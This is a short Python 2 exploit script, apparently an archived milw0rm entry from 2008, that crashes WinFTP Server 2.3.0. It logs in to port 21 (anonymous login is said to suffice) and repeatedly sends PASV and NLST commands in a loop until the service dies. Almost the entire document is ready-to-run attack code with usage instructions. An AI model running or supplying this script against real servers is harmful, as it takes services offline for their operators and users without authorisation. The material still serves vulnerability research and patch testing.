WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service

# WinFTP v2.3.0 DoS exploit
# WinFTP URL - http://www.wftpserver.com/
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys

PORT = 21

def help_info():
    print ("Usage: winftp <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def conn(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, PORT))
    except:
        print ("[+] Done!")
        sys.exit(1)

    r=sock.recv(1024)
    print "[+] " + r
    sock.send("USER %s\n" %username)
    sock.send("PASS %s\n" %passwd)
    sock.send("PASV\n")
    sock.send("NLST -1\n")
    sock.send("QUIT\n")
    sock.close()


print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try: sock.connect((hostname, PORT))
    except:
        print ("[-] Connection error!")
        sock.close()
        sys.exit(1)

    while passwd:
        conn(hostname, username, passwd)
        time.sleep(0.2)

    sys.exit(0)

# milw0rm.com [2008-10-09]